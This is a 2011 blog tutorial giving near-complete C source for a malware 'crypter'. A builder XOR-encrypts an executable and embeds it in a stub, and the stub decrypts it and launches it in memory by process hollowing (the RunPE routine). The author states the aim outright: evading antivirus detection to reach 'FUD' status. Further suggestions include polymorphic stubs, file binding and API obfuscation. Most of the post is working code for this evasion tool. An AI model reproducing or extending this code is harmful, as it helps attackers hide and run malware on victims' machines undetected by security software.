Thursday 1 December 2011

How to make your own crypter in C

I have seen lots of people asking for a c/c++ runtime crypter, most answers point to general guidance or worse, nothing of importance. So I’ve decided to show step by step a solution to creating your own crypters.

What to expect
[*]Builder/Stub relationships
[*] Understanding a RunPE function (The magic!)
[*] Simple API obfuscation
[*]A finished Open-Sourced Public Version of my cypter
What NOT to expect
[*] A fully featured FUD crytper
There are several features to a crypter that I have intentionally left out, and will highlight during this write-up. They are meant as additional learning opportunities for you to research on your own.
*Please be advised this crypter is not FUD, as often to do so obfuscates the code and makes it difficult for a tutorial on this subject. It is my hope that the steps I show here will give you the conceptual understanding so that you are able to rewrite one that will be completely undetectable.
** All work was compiled using Code::Blocks and the mingw compiler
-Begin by starting a new c console app (Not C++)
Part I: Allocating the file to encrypt
All the data that I am going to be sending the stub is constructed in a structure
struct StubData{
unsigned char * pFileBuffer;
unsigned long FileSize;
unsigned char * pKey;
unsigned long KeySize;
};
The main function is primarily comprised of three function calls that illustrates the flow
LoadFile (to encrypt) into memory -> Encrypt that buffer -> Pass buffer to Stub
LoadFile Function
void LoadFile(char *File, struct StubData * sData)
{
unsigned long BytesRead;
HANDLE hFile = CreateFile(File, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
printf(“[*]Loading Portable Executable\n”);
if(hFile == INVALID_HANDLE_VALUE)
{
error(“Error – Cannot open file”);
}  sData->FileSize = GetFileSize(hFile, NULL);
if(sData->FileSize == INVALID_FILE_SIZE)
{
CloseHandle(hFile);
error(“Error – Cannot retrieve file size”);
}
sData->pFileBuffer = (unsigned char *)malloc(sData->FileSize);
if(sData->pFileBuffer == NULL)
{
CloseHandle(hFile);
error(“Error – Cannot allocate room”);
}
ReadFile(hFile, sData->pFileBuffer, sData->FileSize, &BytesRead, NULL);
CloseHandle(hFile);
}
As you can see we are passing it two pointers, one the file that we want to encrypt and two, the area where we are going to work with it. This function opens the file and allocates room on the heap and reads the file into that room and the pointer sData.pFileBuffer points to the beginning of that location.
Simple Enough
Part II: Encrypt the Buffer
Encrypt Function
void Encrypt(struct StubData * sData)
{
int i,j;
sData->pKey=”mysecretpassword”;
sData->KeySize=strlen(sData->pKey);
j=0;
i=0;
printf(“[*]Encoding\n”);  for(i;iFileSize;i++)
{
*(sData->pFileBuffer+i) ^=*(sData->pKey+j);
j++;
if (j>=sData->KeySize)j=0;
}
}
Again passing the struct pointer we manipulate the buffer using an XOR encption.  ***Research Topic 1: This function is extremely simple and also easily detectable. Research various encryptions methods (Stream/Block ciphers) to help your understanding. The RC4 and Rabbit stream ciphers are good places to start, well documents and ported to c code.
Part III: Updating Resources and Building Crypted File
I want to start this topic by talking about the Build Function but I will have to stop at some point to begin discussing the stub and finally in the end returning back here.
void Build(struct StubData * sData)
{  HRSRC hRsrc;
HGLOBAL hGlob;
HANDLE hFile, hUpdate;
unsigned long rSize;
unsigned char * pBuffer;
unsigned long BytesWritten;
printf(“[*]Building Crypted.exe\n”);
hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), “STUB”);
if(hRsrc == NULL)
{
error(“Error Could not find resource”);
}
rSize = SizeofResource(NULL, hRsrc);
hGlob = LoadResource(NULL, hRsrc);
if(hGlob == NULL)error(“Error – Could not load resource”);
pBuffer = (unsigned char *)LockResource(hGlob);
if(pBuffer == NULL)error(“Error – Could not lock resource”);
hFile = CreateFile(“crypted.exe”, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
free(pBuffer);
free(sData->pFileBuffer);
error(“Error – Could not create file”);
}
if(WriteFile(hFile, pBuffer, rSize, &BytesWritten, NULL)==0)
{
free(pBuffer);
free(sData->pFileBuffer);
error(“Error – Could not write to file”);
}
CloseHandle(hFile);
free(pBuffer);
hUpdate = BeginUpdateResource(“crypted.exe”, FALSE);
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(10), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pFileBuffer, sData->FileSize)==0)
{
error(“Error – Could not update resource”);
}
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(20), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pKey, sData->KeySize)==0)
{
error(“Error – Could not update resource”);
}
EndUpdateResource(hUpdate, FALSE);
}
This function mostly uses the win32 API and might take a bit to understand. So let’s walk through it.  If you are unfamiliar with what HRSRC, HGLOBAL, HANDLE are, well they are void pointers and defined by Microsoft for easier identification.
Again we pass our struct pointer and begin the work.
First we find the stub.exe file, and create a buffer pointing to its contents.
*Note: This is an area we will return to as we have to add a resource file, after the stub as been compiled.
Next we create a new file (“crytped.exe”) and write the data from the stub pointer (pBuffer) to it. At this point as you will see later, we have essentially extracted the “stub.exe” which will be embedded in our cypter, and copied it to a file on disk called “cypted.exe”.
The reason for doing it this way has an advantage because when the final crypter is complete you will not need a stub file to accompany the main app. It is all self contained.
Now that have a handle (pointer to) this new file we can begin to update its resources with the contents of out encrypted buffer and decryption key.
Note: I am passing the key, so I don’t have to hard copy it in the stub, this can allow for random and dynamic unique key generation. (See Learning Topic 1)
After this function is complete (successfully) the new program will be complete, and it will be up to our stub to properly decrypt our buffer and run it dynamically (In memory).
Highlights of Resources:
Let’s look at the argument MAKEINTRESOURCE(20). The “20” is an arbitrary but unique number that identifies it in the stub. Anytime you update a resource you must use a different number for proper identification. When we return to our resource file in this main builder you will see how you add them.
The Stub
The stub is a separate program, so you can create a new project (again win32 console app). Now just to note, despite opening a console app we are actually going to create a winapi app (doesn’t show console – ie more stealth like.)
The main function should look like
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
Now the flow of the main app is Load our new structure from the resources updated, decrypt the buffer, and run it.  Part IV: LoadStruct
If we look at the struct again, you will notice its slightly different.
struct StubData{
unsigned char * pFileBuffer;
unsigned long FileSize;
unsigned char * pKey;
unsigned int KeySize;
char FileName[MAX_PATH];
};
The addition was the FileName that will hold the full path of the current running process. I included into the struct just to clean things up again.  LoadStruct Function
void LoadStruct(struct StubData * sData)
{
HRSRC hRsrc;
HGLOBAL hGlob;  hRsrc = FindResource(NULL, MAKEINTRESOURCE(10), RT_RCDATA);
if (hRsrc == NULL)exit(EXIT_FAILURE);
sData->FileSize = SizeofResource(NULL, hRsrc);
hGlob = LoadResource(NULL, hRsrc);
if (hGlob == NULL)exit(EXIT_FAILURE);
sData->pFileBuffer = (unsigned char*)LockResource(hGlob);
if (sData->pFileBuffer == NULL)exit(EXIT_FAILURE);
hRsrc = FindResource(NULL, MAKEINTRESOURCE(20), RT_RCDATA);
if (hRsrc == NULL)exit(EXIT_FAILURE);
sData->KeySize = SizeofResource(NULL, hRsrc);
hGlob = LoadResource(NULL, hRsrc);
if (hGlob == NULL)exit(EXIT_FAILURE);
sData->pKey = (unsigned char*)LockResource(hGlob);
if (sData->pKey == NULL)exit(EXIT_FAILURE);
GetModuleFileName(NULL, sData->FileName, MAX_PATH);}
This starts by finding the resources we assigned to it back in the builder. Note the MAKEINTRESOURCE() must correspond to the arbitrary number previously given.  The function then loads those resources in memory and we take a pointer and fill our structure.
At this point we have all the data in one place (the stub which decrypts and runs the app, and our buffer in memory containing the encrypted buffer of the app to run)
Part V: Decryption
You will notice this is almost the same as the encryption function as an XOR method is reversible in the same method.
void Decrypt(struct StubData * sData)
{
int i,j;  j=0;
i=0;
for(i;iFileSize;i++)
{
*(sData->pFileBuffer+i) ^=*(sData->pKey+j);
j++;
if (j>=sData->KeySize)j=0;
}
}
The only difference is that I didn’t have to re-declare my key and key length. They were updated via resources.
Now to the Magic

Part VI: RunPE
Before I get too far into the Code I want to give credits to TugHack as the basis for this function was based off his work.
I have slightly modified the original to make it easier to follow.
Dive in shall we?
void runPE(struct StubData * sData)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT ctx;  PIMAGE_DOS_HEADER pidh;
PIMAGE_NT_HEADERS pinh;
PIMAGE_SECTION_HEADER pish;
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = NULL;
int i;
memset(&si, 0, sizeof(si));
si.cb = sizeof(STARTUPINFO);
ctx.ContextFlags = CONTEXT_FULL;
pidh = (PIMAGE_DOS_HEADER)&sData->pFileBuffer[0];
if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
{
return;
}
pinh = (PIMAGE_NT_HEADERS)&sData->pFileBuffer[pidh->e_lfanew];
if(pinh->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
CreateProcess(NULL, sData->FileName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(“ntdll.dll”), “ZwUnmapViewOfSection”);
pZwUnmapViewOfSection(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase);
VirtualAllocEx(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase, &sData->pFileBuffer[0], pinh->OptionalHeader.SizeOfHeaders, NULL);
for(i = 0; i < pinh->FileHeader.NumberOfSections; i++)
{
pish = (PIMAGE_SECTION_HEADER)&sData->pFileBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i];
WriteProcessMemory(pi.hProcess, (void *)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), &sData->pFileBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL);
}
GetThreadContext(pi.hThread, &ctx);
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
}
Lets begin with the startup info, process info, and context.  They are each structures for holding data associated with the CreateProcess Function
STARTUPINFO
The STARTUPINFO structure is used with the CreateProcess function to specify main window properties if a new window is created for the new process
PROCESS_INFORMATION 
Contains information about a newly created process and its primary thread. It is used with the CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, or CreateProcessWithTokenW function.
CONTEXT 
The CONTEXT record was created by CreateProcess, in the case of an Windows create process, and contains the start address according to the loaded exe, and also a thunking location according to the kernel32.dll visable when CreateProcess was run. In fact, the NtContinue thunks on through BaseProcessStartThunk, see nt/private/windows/base/client/context.c. The true starting address is in eax of the CONTEXT, BaseProcessStartThunk is found in eip.
If this is slightly confusing study up on the cpu registers (ASM … go!) and what they mean.  Next we declare some pointer to the headers associated with Portable Executables (PE) files.
To understand the PE file and header structure here is a picture.
[Image: Cc301805.pefig01%28en-us,MSDN.10%29.gif]
For an Indepth readup on the subject matter please refer to http://msdn.microsoft.com/en-us/magazine/cc301805.aspx
After setting the header pointers we are able to create our process we do this with the CREATE_SUSPENDED flag, that tells the API to keep the process suspended until the ResumeThread function is called. This creates a new process and its primary thread
Now we have to unmap the sections of our PE file. This is also the 1 function I demonstrate obfuscating the API call.
I previously declared a new type
typedef void (WINAPI *PTRZwUnmapViewOfSection)(
IN HANDLE ProcessHandle, IN PVOID BaseAddress);
And used it as so…
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = NULL;
pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(“ntdll.dll”), “ZwUnmapViewOfSection”);
pZwUnmapViewOfSection(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase);
As you can see I didn’t have to make a direct call to ZqUnmapViewOfSection and it allows for some additional obfuscation in string calls. Heuristics in AV’s might take a bit more work.  We then use VirtualAllocEx which reserves or commits a region of memory within the virtual address space of a specified process.
Finally we are going to write out decrypted buffers sections with WriteProcessMemory, Realign everything, and resume thread. Cheers at this point the unsuspended process running the stub but the original file in memory… and our stub returns and exits cleanly.
PHEW… we made it, almost.
Part VII: Putting it all together
I mentioned we would have to come back to our builder and this is where I will do that. First we have to compile our stub.exe project (set to release to get rid of debugging features – makes it smaller)
Then we copy that executable and place it in the root directory of the builder “Cryptit” project. Create a new file (Notepad works nice) in the same place and call it crytper.rc This is our resource file.
The contents will be…

Code:#define IDR_STUB 1  IDR_STUB STUB DISCARDABLE “stub.exe”
*If you did not put it in the root directory you will need to include the path to its location (don’t forget to escape your forward slashes — \\stub\\resources\\etc…). You will also know this is where I defined my IDR_STUB to 1 which I used earlier in finding that resource.
The complete Directory layout will be similar to the following if you used the same IDE/compiler defaults
+Cryptit
-+bin
–+Release
-Cryptit.exe
-+obj (stuff inside)
-crypter.rc
-stub.exe
-main.c
-Cryptit.cbp (code::blocks project file)
Part VIII: Additional learning topics and features for you to think about
I previously stated that I intentionally left out common features in crypters some of these for you to consider would be
[*] Icon addition and dynamically changing them
[*] Further obfuscation of code/strings/api calls
[*] GUI if you desire
[*] Binding Files
[*] Polymorphism/Unique Stub Generation
Part IX: Finale
I hoped you enjoyed the tutorial and learned something from its content. As promised below are a few pics of the final program. Also the source for each file (Stub and Builder). Additionally there is a download link where you are able to download my code::blocks project files.

1 comment:

CEX.io